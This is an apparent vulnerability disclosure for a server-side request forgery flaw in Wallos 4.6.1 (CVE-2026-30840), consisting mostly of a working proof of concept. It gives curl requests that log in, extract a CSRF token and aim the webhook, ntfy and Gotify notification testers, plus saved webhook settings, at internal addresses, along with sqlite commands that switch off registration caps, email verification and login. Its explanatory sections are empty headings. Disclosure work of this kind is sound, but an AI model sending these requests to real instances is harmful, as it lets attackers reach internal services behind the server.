Security Report: Server-Side Request Forgery (SSRF) in Notification Testers

Wallos version : 4.6.1

GHSA : https://github.com/ellite/Wallos/security/advisories/GHSA-mr2c-prqv-hqm8

CVE : CVE-2026-30840

Summary

Affected Versions

Root Cause

End-to-End POC (Reproducible)

1) Start the application locally

php -S 127.0.0.1:8000 -t .

2) Start a local target to prove SSRF

python3 -m http.server 8080
cat > post_server.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
    def _send(self, code=200, body=b'OK'):
        self.send_response(code)
        self.end_headers()
        self.wfile.write(body)
    def do_GET(self):
        print(f'GET {self.path} from {self.client_address}')
        self._send(200, b'GET OK')
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'POST {self.path} from {self.client_address} body={body!r}')
        self._send(200, b'POST OK')
HTTPServer(('127.0.0.1', 8080), Handler).serve_forever()
PY
python3 post_server.py

3) Register a normal user (if none exists)

curl -sS -c cookie.txt -b cookie.txt -X POST \
  -d 'username=ssrf_tester&firstname=SSRF&lastname=Tester&email=ssrf.tester@example.com&password=Passw0rd!&confirm_password=Passw0rd!&main_currency=USD&language=en' \
  http://127.0.0.1:8000/registration.php

If registration redirects to login or fails:

sqlite3 db/wallos.db 'select registrations_open, max_users from admin;'
# To open registration and remove cap:
sqlite3 db/wallos.db 'update admin set registrations_open=1, max_users=0;'
sqlite3 db/wallos.db 'select require_email_verification from admin;'
# To disable requirement:
sqlite3 db/wallos.db 'update admin set require_email_verification=0;'
# Or mark your email verified by removing the pending row:
sqlite3 db/wallos.db 'delete from email_verification where email=\"ssrf.tester@example.com\";'

Alternate fallback (temporary, for POC):

sqlite3 db/wallos.db 'update admin set login_disabled=1;'
# Then visit http://127.0.0.1:8000/login.php to be logged in and get cookies

4) Log in and capture the session

curl -sS -L -c cookie.txt -b cookie.txt -X POST \
  -d 'username=ssrf_tester&password=Passw0rd!' \
  http://127.0.0.1:8000/login.php

5) Extract CSRF token from any page that includes the header

curl -sS -b cookie.txt http://127.0.0.1:8000/settings.php | tee page.html >/dev/null
export CSRF_TOKEN=$(sed -n 's/.*window.csrfToken = \"\([a-f0-9]\{64\}\)\".*/\1/p' page.html)
echo "CSRF_TOKEN=$CSRF_TOKEN"

If the token is empty, use this more permissive extractor:

export CSRF_TOKEN=$(grep -oE 'window\\.csrfToken\\s*=\\s*\"[^\"]+\"' page.html | head -n1 | cut -d '\"' -f2)
echo "CSRF_TOKEN=$CSRF_TOKEN"

Or fetch another page that includes the header (index or subscriptions):

curl -sS -b cookie.txt http://127.0.0.1:8000/index.php | tee page.html >/dev/null
export CSRF_TOKEN=$(grep -oE 'window\\.csrfToken\\s*=\\s*\"[^\"]+\"' page.html | head -n1 | cut -d '\"' -f2)
echo "CSRF_TOKEN=$CSRF_TOKEN"

6) Webhook Tester SSRF to localhost

curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "requestmethod": "GET",
    "url": "http://127.0.0.1:8080/",
    "payload": "ping",
    "customheaders": "[\"X-Test: 1\"]",
    "ignore_ssl": true
  }' \
  http://127.0.0.1:8000/endpoints/notifications/testwebhooknotifications.php

7) ntfy Tester SSRF

curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "host": "http://127.0.0.1:8080",
    "topic": "test",
    "headers": "{\"X-Test\":\"1\"}",
    "ignore_ssl": true
  }' \
  http://127.0.0.1:8000/endpoints/notifications/testntfynotifications.php

8) Gotify Tester SSRF

curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "gotify_url": "http://127.0.0.1:8080",
    "token": "anything",
    "ignore_ssl": true
  }' \
  http://127.0.0.1:8000/endpoints/notifications/testgotifynotifications.php

9) Persistent SSRF via Webhook Settings

curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "enabled": true,
    "webhook_url": "http://127.0.0.1:80/",
    "headers": "[]",
    "payload": "{\"ping\":\"pong\"}",
    "cancelation_payload": "{\"cancel\":\"now\"}",
    "ignore_ssl": true
  }' \
  http://127.0.0.1:8000/endpoints/notifications/savewebhooknotifications.php

Why It Works

Impact

Troubleshooting (CSRF and Login)

curl -sS -L -c cookie.txt -b cookie.txt -X POST \
  -d 'username=ssrf_tester&password=Passw0rd!&remember=on' \
  http://127.0.0.1:8000/login.php
curl -sSI -b cookie.txt http://127.0.0.1:8000/settings.php
grep -E 'PHPSESSID|wallos_login' cookie.txt || true

Remediation Guidance (Non-Patching)

References


Revision #4
Created 2026-03-02 15:01:52 UTC by Aryma
Updated 2026-03-06 01:25:36 UTC by Aryma